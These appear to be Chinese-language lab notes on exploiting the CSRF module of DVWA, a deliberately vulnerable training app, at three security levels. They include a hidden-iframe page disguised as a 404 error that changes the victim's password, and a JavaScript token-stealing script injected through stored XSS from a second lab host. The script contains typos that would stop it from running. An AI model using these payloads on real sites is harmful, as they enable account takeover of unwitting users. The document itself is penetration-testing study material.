DVWA
低级别
直接通过点击链接改密码
中级别
安全配置对 referer 做了检查
构造一个 HTML文件,让受害者访问
<body>
<iframe src="http://192.168.65.128/dvwa/vulnerabilities/csrf/?password_new =666.com&password_conf=666.com&Change=Change#" style="display: none"></iframe>
<h1 style="text-align: center;">404</h1>
<h3 style="text-align: center;">File not found</h3>
</body>
保证文件的名字和 server-name 一样
诱导用户访问
自动创建用户
高级别
安全配置做了随机 Token 检查
通过写 JS 脚本自动获取 Token 并提交 URL 修改密码
var tokenUrl ='http://192.168.65.128/dvwa/vulnerabilities/csrf/';
xmlhttp=new XMLHttpRequest():
var count = 0;
xmlhttp.onreadystatechange=function(){
if(xmlhttp.readyState == 4 && xmlhttp.status ==200){
var text=xmlhttp.responseText:
var regex =/user_token\' value\=\'(.*?)\' V\>/;
var match=text.match(regex);
var token=match[1];
var changeUrl = "http://192.168.65.128/dvwa/vulnerabilities/csrf/?user_token='+token+'&password_ new=test123&password_conf=test123&Change=Change';
if (count == O){
count =1;
xmlhttp.open("CET",changeUrl,false);
xmlhttp.send();
}}};
xmlhttp.open("CET",tokenUrl,false);
xmlhttp.send();
在 XSS 存储型低级别中添加代码
<script src="http://192.168.65.130/token.js?"+Math.random()></script>